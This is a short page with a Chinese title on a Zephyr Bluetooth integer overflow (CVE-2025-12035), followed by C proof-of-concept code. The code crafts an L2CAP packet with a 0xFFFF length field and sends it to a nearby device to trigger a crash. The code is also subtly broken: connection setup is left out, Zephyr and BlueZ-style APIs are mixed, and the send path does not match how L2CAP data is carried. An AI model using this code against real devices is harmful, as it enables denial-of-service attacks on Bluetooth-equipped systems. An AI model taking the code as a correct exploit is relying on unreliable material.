Zephyr Bluetooth Host bt_br_acl_recv函数整数溢出漏洞(CVE-2025-12035)

// CVE-2025-12035 PoC - Integer overflow in Zephyr bt_br_acl_recv // This PoC demonstrates the vulnerability concept (for educational purposes only) #include <stdio.h> #include <stdint.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/l2cap.h> // Malicious L2CAP packet with oversized length field uint8_t malicious_l2cap_packet[] = { // L2CAP Header 0x02, 0x00, // Connection-oriented channel ID 0xFF, 0xFF, // Length field: 0xFFFF - triggers overflow when processed // Payload that will be processed with wrong length 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 }; void send_malicious_packet(int sock) { printf("[*] Sending malicious L2CAP packet with oversized length...\n"); printf("[*] Length field: 0xFFFF (65535)\n"); printf("[*] This may cause integer overflow in bt_br_acl_recv\n"); // Send the crafted packet send(sock, malicious_l2cap_packet, sizeof(malicious_l2cap_packet), 0); printf("[+] Packet sent. Monitor target for crash or unexpected behavior.\n"); } int main() { printf("CVE-2025-12035 PoC - Zephyr bt_br_acl_recv Integer Overflow\n"); printf("Target: Zephyr Project Bluetooth Host Stack\n"); printf("Vulnerable Function: bt_br_acl_recv\n\n"); // Initialize Bluetooth connection to target int bt_sock = bt_hci_open_dev(0); if (bt_sock < 0) { fprintf(stderr, "[-] Failed to open Bluetooth device\n"); return 1; } // Connect to target device (must be in range) // ... connection setup code ... send_malicious_packet(bt_sock); bt_hci_close_dev(bt_sock); return 0; } // Note: Actual exploitation requires: // 1. Proximity to target (Bluetooth range) // 2. Active BR/EDR connection to target // 3. Knowledge of target's Bluetooth address